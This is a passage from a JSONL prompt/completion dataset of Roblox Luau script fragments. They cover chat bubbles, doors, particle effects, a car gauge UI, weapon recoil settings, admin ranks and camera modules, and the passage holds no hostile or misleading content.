bubble:FindFirstChild(\"ChatBubbleTail\")\n\n\t\twhile bubble and bubble.ImageTransparency < 1 do\n\t\t\ttimeBetween = wait()\n\t\t\tif bubble then\n\t\t\t\tlocal fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED\n\t\t\t\tbubble.ImageTransparency = bubble.ImageTransparency + fadeAmount\n\t\t\t\tif bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end\n\t\t\t\tif bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end\n\t\t\tend\n\t\tend\n\n\t\tif bubble then\n\t\t\tbubble:Destroy()\n\t\t\tbubbleQueue:PopFront()\n\t\tend\n\tend)\nend\n\nfunction this:CreateChatLineRender(instance, line, onlyCharacter, fifo, shouldAutoLocalize)\n\tif not instance then return end\n\n\tif not this.CharacterSortedMsg:Get(instance)[\"BillboardGui\"] then\n\t\tthis:CreateBillboardGuiHelper(instance, onlyCharacter)\n\tend\n\n\tlocal billboardGui = this.CharacterSortedMsg:Get(instance)[\"BillboardGui\"]\n\tif billboardGui then\n\t\tlocal chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()\n\t\tchatBubbleRender.Visible = false\n\t\tlocal bubbleText = this:CreateBubbleText(line.Message, shouldAutoLocalize)\n\n\t\tbubbleText.Parent = chatBubbleRender\n\t\tchatBubbleRender.Parent = billboardGui.BillboardFrame\n\n\t\tline.RenderBubble = chatBubbleRender\n\n\t\tlocal currentTextBounds = TextService:GetTextSize(\n\t\t\t\tbubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,\n\t\t\t\tVector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))\n\t\tlocal numOflines = (currentTextBounds.Y / CHAT_BUBBLE_FONT_SIZE_INT)\n\n\t\tif UserFixBubbleChatText then\n\t\t\t-- Need to use math.ceil to round up on retina displays\n\t\t\tlocal width = math.ceil(currentTextBounds.X + CHAT_BUBBLE_PADDING * 2)\n\t\t\tlocal height = numOflines * CHAT_BUBBLE_LINE_HEIGHT\n\n\t\t\t-- prep chat bubble for tween\n\t\t\tchatBubbleRender.Size = UDim2.fromOffset(0, 0)\n\t\t\tchatBubbleRender.Position = UDim2.fromScale(0.5, 1)\n\n\t\t\tchatBubbleRender:TweenSizeAndPosition(\n\t\t\t\tUDim2.fromOffset(width, height),\n\t\t\t\tUDim2.new(0.5, -width / 2, 1, -height),\n\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\tEnum.EasingStyle.Elastic,\n\t\t\t\t0.1,\n\t\t\t\ttrue,\n\t\t\t\tfunction()\n\t\t\t\t\tbubbleText.Visible = true\n\t\t\t\tend\n\t\t\t)\n\n\t\t\t-- todo: remove when over max bubbles\n\t\t\tthis:SetBillboardGuiLOD(billboardGui, line.Origin)\n\t\t\tthis:UpdateChatLinesForOrigin(line.Origin, -height)\n\t\telse\n\t\t\tlocal bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING) / BILLBOARD_MAX_WIDTH, 0.1)\n\n\t\t\t-- prep chat bubble for tween\n\t\t\tchatBubbleRender.Size = UDim2.new(0, 0, 0, 0)\n\t\t\tchatBubbleRender.Position = UDim2.new(0.5, 0, 1, 0)\n\n\t\t\tlocal newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT\n\n\t\t\tchatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),\n\t\t\t\t\t\t\t\t\t\t\t\t\tUDim2.new( (1 - bubbleWidthScale) / 2, 0, 1, -newChatBubbleOffsetSizeY),\n\t\t\t\t\t\t\t\t\t\t\t\t\tEnum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,\n\t\t\t\t\t\t\t\t\t\t\t\t\tfunction() bubbleText.Visible = true end)\n\n\t\t\t-- todo: remove when over max bubbles\n\t\t\tthis:SetBillboardGuiLOD(billboardGui, line.Origin)\n\t\t\tthis:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)\n\t\tend\n\n\t\tdelay(line.BubbleDieDelay, function()\n\t\t\tthis:DestroyBubble(fifo, chatBubbleRender)\n\t\tend)\n\tend\nend\n\nfunction this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)\n\n\tif not this:BubbleChatEnabled() then return end\n\n\tlocal localPlayer = PlayersService.LocalPlayer\n\tlocal fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer\n\n\tlocal safeMessage = this:SanitizeChatLine(message)\n\n\tlocal line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)\n\n\tif sourcePlayer and line.Origin then\n\t\tlocal fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo\n\t\tfifo:PushBack(line)\n\t\t--Game chat (badges) won't show up here\n\t\tthis:CreateChatLineRender(sourcePlayer.Character, line, true, fifo, false)\n\tend\nend\n\nfunction this:OnGameChatMessage(origin, message, color)\n\t-- Prevents conflicts with the new bubble chat if it is enabled\n\tif UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then\n\t\treturn\n\tend\n\n\tlocal localPlayer = PlayersService.LocalPlayer\n\tlocal fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)\n\n\tlocal bubbleColor = BubbleColor.WHITE\n\n\tif color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE\n\telseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN\n\telseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end\n\n\tlocal safeMessage = this:SanitizeChatLine(message)\n\tlocal line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)\n\n\tthis.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)\n\tif UserShouldLocalizeGameChatBubble then\n\t\tthis:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, true)\n\telse\n\t\tthis:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, false)\n\tend\nend\n\nfunction this:BubbleChatEnabled()\n\tif UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then\n\t\treturn false\n\tend\n\tlocal clientChatModules = ChatService:FindFirstChild(\"ClientChatModules\")\n\tif clientChatModules then\n\t\tlocal chatSettings = clientChatModules:FindFirstChild(\"ChatSettings\")\n\t\tif chatSettings then\n\t\t\tchatSettings = require(chatSettings)\n\t\t\tif chatSettings.BubbleChatEnabled ~= nil then\n\t\t\t\treturn chatSettings.BubbleChatEnabled\n\t\t\tend\n\t\tend\n\tend\n\treturn PlayersService.BubbleChat\nend\n\nfunction this:ShowOwnFilteredMessage()\n\tlocal clientChatModules = ChatService:FindFirstChild(\"ClientChatModules\")\n\tif clientChatModules then\n\t\tlocal chatSettings = clientChatModules:FindFirstChild(\"ChatSettings\")\n\t\tif chatSettings then\n\t\t\tchatSettings = require(chatSettings)\n\t\t\treturn chatSettings.ShowUserOwnFilteredMessage\n\t\tend\n\tend\n\treturn false\nend\n\nfunction findPlayer(playerName)\n\tfor i,v in pairs(PlayersService:GetPlayers()) do\n\t\tif v.Name == playerName then\n\t\t\treturn v\n\t\tend\n\tend\nend\n\nChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)\n\nlocal cameraChangedCon = nil\nif game.Workspace.CurrentCamera then\n\tcameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal(\"CFrame\"):Connect(function(prop) this:CameraCFrameChanged() end)\nend\n\ngame.Workspace.Changed:Connect(function(prop)\n\tif prop == \"CurrentCamera\" then\n\t\tif cameraChangedCon then cameraChangedCon:disconnect() end\n\t\tif game.Workspace.CurrentCamera then\n\t\t\tcameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal(\"CFrame\"):Connect(function(prop) this:CameraCFrameChanged() end)\n\t\tend\n\tend\nend)\n\n\nlocal AllowedMessageTypes = nil\n\nfunction getAllowedMessageTypes()\n\tif AllowedMessageTypes then\n\t\treturn AllowedMessageTypes\n\tend\n\tlocal clientChatModules = ChatService:FindFirstChild(\"ClientChatModules\")\n\tif clientChatModules then\n\t\tlocal chatSettings = clientChatModules:FindFirstChild(\"ChatSettings\")\n\t\tif chatSettings then\n\t\t\tchatSettings = require(chatSettings)\n\t\t\tif chatSettings.BubbleChatMessageTypes then\n\t\t\t\tAllowedMessageTypes = chatSettings.BubbleChatMessageTypes\n\t\t\t\treturn AllowedMessageTypes\n\t\t\tend\n\t\tend\n\t\tlocal chatConstants = clientChatModules:FindFirstChild(\"ChatConstants\")\n\t\tif chatConstants then\n\t\t\tchatConstants = require(chatConstants)\n\t\t\tAllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}\n\t\tend\n\t\treturn AllowedMessageTypes\n\tend\n\treturn {\"Message\", \"Whisper\"}\nend\n\nfunction checkAllowedMessageType(messageData)\n\tlocal allowedMessageTypes = getAllowedMessageTypes()\n\tfor i = 1, #allowedMessageTypes do\n\t\tif allowedMessageTypes[i] == messageData.MessageType then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nlocal ChatEvents = ReplicatedStorage:WaitForChild(\"DefaultChatSystemChatEvents\")\nlocal OnMessageDoneFiltering = ChatEvents:WaitForChild(\"OnMessageDoneFiltering\")\nlocal OnNewMessage = ChatEvents:WaitForChild(\"OnNewMessage\")\n\nOnNewMessage.OnClientEvent:connect(function(messageData, channelName)\n\tif not checkAllowedMessageType(messageData) then\n\t\treturn\n\tend\n\n\tlocal sender = findPlayer(messageData.FromSpeaker)\n\tif not sender then\n\t\treturn\n\tend\n\n\tif not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then\n\t\tif messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then\n\t\t\treturn\n\t\tend\n\tend\n\n\tthis:OnPlayerChatMessage(sender, messageData.Message, nil)\nend)\n\nOnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)\n\tif not checkAllowedMessageType(messageData) then\n\t\treturn\n\tend\n\n\tlocal sender = findPlayer(messageData.FromSpeaker)\n\tif not sender then\n\t\treturn\n\tend\n\n\tif messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then\n\t\treturn\n\tend\n\n\tthis:OnPlayerChatMessage(sender, messageData.Message, nil)\nend)\n"} +{"prompt": "--!nonstrict", "completion": "\nlocal Type = require(script.Parent.Type)\nlocal ElementKind = require(script.Parent.ElementKind)\nlocal ElementUtils = require(script.Parent.ElementUtils)\nlocal Children = require(script.Parent.PropMarkers.Children)\nlocal Symbol = require(script.Parent.Symbol)\nlocal internalAssert = require(script.Parent.internalAssert)\n\nlocal config = require(script.Parent.GlobalConfig).get()\n\nlocal InternalData = Symbol.named(\"InternalData\")\n"} +{"prompt": "--Sick Tunes--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.SickNotes:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "--[[ LICENSE\nlua-bit-numberlua License\n\n===============================================================================\n\nCopyright (C) 2008, David Manura.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\n===============================================================================\n--]]", "completion": "\n\n"} +{"prompt": "-----------------------------------Checks if the area where the tree is regenerating has parts on it ---------------", "completion": "\n\t\t\tlocal p = tree:GetChildren()\n\t\t\t--print (#p)\n\t\t\tlocal PPC = tree:GetPrimaryPartCFrame()\n\t\t\t--GetPartBoundsInBox Defines\n\t\t\tlocal filterObjects = {}\n\t\t\tlocal maxObjectsAllowed = math.huge\n\t\t\tlocal overlapParams = OverlapParams.new()\n\t\t\toverlapParams.CollisionGroup = \"Default\"\n\t\t\toverlapParams.FilterDescendantsInstances = filterObjects\n\t\t\toverlapParams.FilterType = Enum.RaycastFilterType.Blacklist\n\t\t\toverlapParams.MaxParts = maxObjectsAllowed\n\t\t\tlocal boundsbox = Vector3.new(12,31,12)\n\t\t\tlocal boundsboxCenter = CFrame.new(PPC.X, PPC.Y + 16.5, PPC.Z)\n\t\t\tlocal regenbox = workspace:GetPartBoundsInBox(boundsboxCenter, boundsbox, overlapParams)\n\t\t\t-- print (#regenbox)\n\t\t\tif #regenbox <= #p then"} +{"prompt": "-- player added event", "completion": "\nplayers.PlayerAdded:connect(function()\n\tadjust()\nend)\n"} +{"prompt": "--Right\t0\t\n--Top\t1\t\n--Back\t2\t\n--Left\t3\t\n--Bottom\t4\t\n--Front\t5", "completion": "\nv = 1\t\ns = 0\nosi = 0\nprint(s)\nif s == 0 or s == 3 then\n\tosi = p.Size.x - 1\nelseif s == 1 or s == 4 then\n\tosi = p.Size.y - 1\nelseif s == 2 or s == 5 then\n\tosi = p.Size.z - 1\nend\n\nfunction open()\n\tfor i = 1, osi, v do\n\t\tlocal r = p:Resize(s, -v)\n\t\tif not r then\n\t\t\trepeat\n\t\t\t\twait(0.1)\n\t\t\tuntil\n\t\t\t\tp:Resize(s, -v) == true\n\t\tend\n\t\twait(0.1)\n\tend\nend\n\nfunction close()\n\tfor i = 1, osi, v do\n\t\tlocal r = p:Resize(s, v)\n\t\tif not r then\n\t\t\trepeat\n\t\t\t\twait(0.1)\n\t\t\tuntil\n\t\t\t\tp:Resize(s, v) == true\n\t\tend\n\t\twait(0.1)\n\tend\nend\n\nscript.Parent.opened.Changed:connect(function (v)\n\tif v then\n\t\topen()\n\telse\n\t\tclose()\n\tend\nend)\n"} +{"prompt": "-- variables:", "completion": "\nwait()\n\nv3 = Vector3\nv2 = nil\n\nfunction wt() wait() end -- Smooth\n\nload = 0\n\nrepeat wt'' load = load + 1 until load < 2\nload = load + 4\n\nvelo = 20\ns_ = v3.new(script.Parent.Size.x, script.Parent.Size.y, script.Parent.Size.z)\nscale = 4\n\nfunction_ = true\n\nprint(v3, 'load: '..load, '')\n"} +{"prompt": "-- RANK, RANK NAMES & SPECIFIC USERS", "completion": "\nRanks = {\n\t{6,\t\"Owner\",\t\t};\n\t{5,\t\"HeadAdmin\",\t{\"\",0},\t};\n\t{4,\t\"Admin\",\t\t{\"\",0},\t};\n\t{3,\t\"Mod\",\t\t\t{\"\",0},\t};\n\t{2,\t\"VIP\",\t\t\t{\"\",0},\t};\n\t{1,\t\"NonAdmin\",\t\t};\n};\n\n\n"} +{"prompt": "-- Luke", "completion": "\n\n\nlocal model = script.Parent\nlocal cache = {}\nlocal closeTime = 0\n\n\nlocal OPEN_TIME = 3\n\n\nfunction openDoor()\n\tlocal currentTime = tick()\n\tif currentTime > closeTime then\t-- This means the door is currently closed\n\t\tcloseTime = currentTime + OPEN_TIME\n\n\t\t-- Open\n\t\t--todo: play sound\n\t\tfor part,transparency in pairs(cache) do\n\t\t\tif part then\n\t\t\t\tpart.Transparency = 1\n\t\t\tend\n\t\tend\n\n\t\t-- Wait\n\t\twhile closeTime > tick() do\n\t\t\twait(closeTime-tick())\n\t\tend\n\n\t\t-- Close\n\t\t--todo: play sound\n\t\tfor part,transparency in pairs(cache) do\n\t\t\tif part and part.Parent then\n\t\t\t\tpart.Transparency = transparency\n\t\t\tend\n\t\tend\n\n\telse\n\t\t-- If currently open, the hold door open for longer\n\t\tcloseTime = currentTime + OPEN_TIME\n\tend\nend\n\nfunction touched(hit)\n\tif hit and hit.Parent then\n\t\tlocal humanoid = hit.Parent:FindFirstChildOfClass('Humanoid')\n\t\tif humanoid and humanoid.Health > 0 then\n\t\t\topenDoor()\n\t\tend\n\tend\nend\n\nfor _,part in pairs(model:GetChildren()) do\n\tif part:IsA('BasePart') then\n\t\tpart.Touched:connect(touched)\n\t\tcache[part] = part.Transparency\n\tend\nend\n"} +{"prompt": "--\t", "completion": "\n\tscript.Parent.Handle3.Hinge1.Transparency = 1\n\tscript.Parent.Handle3.Interactive1.Transparency = 1\n\tscript.Parent.Handle3.Part1.Transparency = 1\n\twait(0.03)\n\tscript.Parent.Handle1.Hinge1.Transparency = 0\n\tscript.Parent.Handle1.Interactive1.Transparency = 0\n\tscript.Parent.Handle1.Part1.Transparency = 0"} +{"prompt": "----------------", "completion": "\nlocal RootPart = char:WaitForChild(\"HumanoidRootPart\")\nlocal RootJoint = RootPart.RootJoint\nRootJoint.C0 = CFrame.new()\nRootJoint.C1 = CFrame.new()\n\nlocal Aiming = false\n\nlocal ZoomDistance = 40\n\nlocal NV\n\nlocal L_150_ = {}\n\nlocal L_153_ = {}\nL_153_.cornerPeek = SpringMod.new(0)\nL_153_.cornerPeek.d = 0.8\nL_153_.cornerPeek.s = 16\nL_153_.peekFactor = math.rad(-15)\nL_153_.dirPeek = 0\n\n"} +{"prompt": "--Automatic Gauge Scaling", "completion": "\n\nscript.Parent.Parent.Values.RPM.Changed:connect(function()\n\tscript.Parent[\"02\"].BackgroundColor3 = Color3.new(math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/2000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/2000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/2000)))\n\tscript.Parent[\"03\"].BackgroundColor3 = Color3.new(math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/3000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/3000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/3000)))\n\tscript.Parent[\"04\"].BackgroundColor3 = Color3.new(math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/4000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/4000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/4000)))\n\tscript.Parent[\"05\"].BackgroundColor3 = Color3.new(math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/5000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/5000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/5000)))\n\tscript.Parent[\"06\"].BackgroundColor3 = Color3.new(math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/6000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/6000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/6000)))\n\tscript.Parent[\"07\"].BackgroundColor3 = Color3.new(math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/7000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/7000)),math.max(0.15,math.floor(script.Parent.Parent.Values.RPM.Value/7000)))\n\tscript.Parent[\"08\"].BackgroundColor3 = Color3.new(math.max(0.2,math.floor(script.Parent.Parent.Values.RPM.Value/8000)),0,0)\n\tscript.Parent[\"09\"].BackgroundColor3 = Color3.new(math.max(0.2,math.floor(script.Parent.Parent.Values.RPM.Value/9000)),0,0)\n\tscript.Parent[\"10\"].BackgroundColor3 = Color3.new(math.max(0.2,math.floor(script.Parent.Parent.Values.RPM.Value/10000)),0,0)\n\tscript.Parent.Base.Rev.Rotation = -167+(math.max((1/9),((script.Parent.Parent.Values.RPM.Value/9000)-(1/9))))*138\n\tscript.Parent.Base.Rev.ImageColor3 = Color3.new(1,(1-((script.Parent.Parent.Values.RPM.Value/9000)*8-7)),(1-((script.Parent.Parent.Values.RPM.Value/9000)*8-7)))\nend)\n\nscript.Parent.Parent.Values.Gear.Changed:connect(function()\n\tlocal gearText = script.Parent.Parent.Values.Gear.Value\n\tlocal gearTextA = \"\"\n\tlocal gearTextB = \"\"\n\tif gearText == -1 then \n\t\tgearText = \"R\"\n\t\tgearTextB = \"N1234567\"\n\telseif gearText == 0 then \n\t\tgearText = \"N\"\n\t\tgearTextA = \"R\"\n\t\tgearTextB = \"1234567\"\n\telseif gearText == 1 then \n\t\tgearTextA = \"RN\"\n\t\tgearTextB = \"234567\"\n\telseif gearText == 2 then \n\t\tgearTextA = \"RN1\"\n\t\tgearTextB = \"34567\"\n\telseif gearText == 3 then \n\t\tgearTextA = \"RN12\"\n\t\tgearTextB = \"4567\"\n\telseif gearText == 4 then \n\t\tgearTextA = \"RN123\"\n\t\tgearTextB = \"567\"\n\telseif gearText == 5 then \n\t\tgearTextA = \"RN1234\"\n\t\tgearTextB = \"67\"\n\telseif gearText == 6 then \n\t\tgearTextA = \"RN12345\"\n\t\tgearTextB = \"7\"\n\telseif gearText == 7 then \n\t\tgearTextA = \"RN123456\"\n\tend\n\tscript.Parent.Gear.Text = gearText\n\tscript.Parent.GearA.Text = gearTextA\n\tscript.Parent.GearB.Text = gearTextB\nend)\n\nscript.Parent.Parent.Values.TCS.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif script.Parent.Parent.Values.TCS.Value then\n\t\t\tscript.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)\n\t\t\tscript.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)\n\t\t\tif script.Parent.Parent.Values.TCSActive.Value then\n\t\t\t\twait()\n\t\t\t\tscript.Parent.TCS.Visible = not script.Parent.TCS.Visible\n\t\t\telse\n\t\t\t\twait()\n\t\t\t\tscript.Parent.TCS.Visible = false\n\t\t\tend\n\t\telse\n\t\t\tscript.Parent.TCS.Visible = true\n\t\t\tscript.Parent.TCS.TextColor3 = Color3.new(1,0,0)\n\t\t\tscript.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)\n\t\tend\n\telse\n\t\tscript.Parent.TCS.Visible = false\n\tend\nend)\n\nscript.Parent.Parent.Values.TCSActive.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.TCS.Visible = not script.Parent.TCS.Visible\n\t\telseif not script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.TCS.Visible = true\n\t\telse\n\t\t\twait()\n\t\t\tscript.Parent.TCS.Visible = false\n\t\tend\n\telse\n\t\tscript.Parent.TCS.Visible = false\n\tend\nend)\n\nscript.Parent.TCS.Changed:connect(function()\n\tif _Tune.TCSEnabled then\n\t\tif script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.TCS.Visible = not script.Parent.TCS.Visible\n\t\telseif not script.Parent.Parent.Values.TCS.Value then\n\t\t\twait()\n\t\t\tscript.Parent.TCS.Visible = true\n\t\tend\n\telse\n\t\tif script.Parent.TCS.Visible then\n\t\t\tscript.Parent.TCS.Visible = false\n\t\tend\n\tend\nend)\nscript.Parent.Parent.Values.Gear.Changed:connect(function()\n\tif script.Parent.Parent.Values.LaunchMode.Value == true then\n\t\tscript.Parent.Parent.Values.LaunchMode.Value = false\n\tend\n\tlocal gearText = script.Parent.Parent.Values.Gear.Value\n\tif gearText == 0 then gearText = \"N\"\n\telseif gearText == -1 then gearText = \"R\"\n\tend\n\tscript.Parent.Gear.Text = gearText\nend)\n\nscript.Parent.Parent.Values.LaunchMode.Changed:connect(function()\n\tif script.Parent.Parent.Values.LaunchMode.Value == true then\n\t\tscript.Parent.Launch.Visible = true\n\telse\n\t\tscript.Parent.Launch.Visible = false\n\tend\nend)\n"} +{"prompt": "-- loop to handle timed state transitions and tool animations", "completion": "\nwhile Figure.Parent~=nil do\n\tlocal _, time = wait(0.1)\n\tmove(time)\nend\n\n"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal BaseCamera = require(script.Parent:WaitForChild(\"BaseCamera\"))\nlocal LegacyCamera = setmetatable({}, BaseCamera)\nLegacyCamera.__index = LegacyCamera\n\nfunction LegacyCamera.new()\n\tlocal self = setmetatable(BaseCamera.new(), LegacyCamera)\n\n\tself.cameraType = Enum.CameraType.Fixed\n\tself.lastUpdate = tick()\n\tself.lastDistanceToSubject = nil\n\n\treturn self\nend\n\nfunction LegacyCamera:GetModuleName()\n\treturn \"LegacyCamera\"\nend\n"} +{"prompt": "-- constants", "completion": "\n\nlocal STAT_SCRIPT\t= ServerScriptService.StatScript\n\nlocal REMOTES\t= ReplicatedStorage.Remotes\nlocal MODULES\t= ReplicatedStorage.Modules\n\tlocal DAMAGE\t= require(MODULES.Damage)\n\nlocal MAX_DISTANCE\t= 20\n"} +{"prompt": "-- Using GUID so no conflict occur", "completion": "\n\nscript.Parent.OnInvoke = function(Player, Duration)\n\tif not UsedGUID[Player] then\n\t\tUsedGUID[Player] = {}\n\t\tif Player.Character:FindFirstChild(\"Humanoid\") then\n\t\t\tPlayer.Character.Humanoid.WalkSpeed = 0\n\t\t\tPlayer.Character.Humanoid.JumpHeight = 0\n\t\t\tPlayer.Character.Humanoid.JumpPower = 0\n\t\tend\n\tend\n\tlocal GUID = GenerateGUID(Player)\n\tUsedGUID[Player][GUID] = true\n\ttask.delay(Duration, function()\n\t\tif not UsedGUID[Player] then return end\n\t\tUsedGUID[Player][GUID] = nil\n\t\tif tlength(UsedGUID[Player]) > 0 then return end\n\t\tUsedGUID[Player] = nil\n\t\tif not Player.Character or not Player.Character:FindFirstChild(\"Humanoid\") then return end\n\t\tPlayer.Character.Humanoid.WalkSpeed = StarterPlayer.CharacterWalkSpeed\n\t\tif Engine:IsGrabbing(Player) then return end\n\t\tPlayer.Character.Humanoid.JumpHeight = StarterPlayer.CharacterJumpHeight\n\t\tPlayer.Character.Humanoid.JumpPower = StarterPlayer.CharacterJumpPower\n\tend)\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {12,16}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {5,7}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = .7\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .15\n\t,VPunchBase = 2.5\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 1.7\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 5 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.15\n\t,MinRecoilPower = .5\n\t,MaxRecoilPower = 3.5\n\t,RecoilPowerStepAmount = .25\n\t\n\t,MinSpread = 0.56\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 35\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 0.5\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.25\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t1.5\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "--////////////////////////////// Include\n--//////////////////////////////////////", "completion": "\nlocal ChatConstants = require(ReplicatedModules:WaitForChild(\"ChatConstants\"))\n\nlocal ChatChannel = require(modulesFolder:WaitForChild(\"ChatChannel\"))\nlocal Speaker = require(modulesFolder:WaitForChild(\"Speaker\"))\nlocal Util = require(modulesFolder:WaitForChild(\"Util\"))\n\nlocal ChatLocalization = nil\npcall(function() ChatLocalization = require(game:GetService(\"Chat\").ClientChatModules.ChatLocalization :: any) end)\nChatLocalization = ChatLocalization or {}\n\nif not ChatLocalization.FormatMessageToSend or not ChatLocalization.LocalizeFormattedMessage then\n\tfunction ChatLocalization:FormatMessageToSend(key,default) return default end\nend\n\nlocal function allSpaces(inputString)\n\tlocal testString = string.gsub(inputString, \" \", \"\")\n\treturn string.len(testString) == 0\nend\n"} +{"prompt": "-- ROBLOX upstream: https://github.com/facebook/jest/blob/v27.4.7/packages/jest-mock/src/index.ts", "completion": "\n"} +{"prompt": "--Main function", "completion": "\nlocal function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)\n\t\n\tlocal AnimObj\n\t\n\tlocal function Start()\n\t\tAnimObj = {}\n\t\tAnimObj[\"LastUpdate\"] = tick()\n\t\t\n\t\tAnimObj[\"Parts\"] = {}\n\t\t\n\t\tfor i = 1, 3 do\n\t\t\tlocal np = EFFECT_LIB.NewInvisiblePart()\n\t\t\t\n\t\t\tlocal particlez = script.Energy:Clone()\n\t\t\tparticlez.Parent = np\n\t\t\tparticlez.Enabled = true\n\t\t\t\n\t\t\tAnimObj[\"Parts\"][i] = 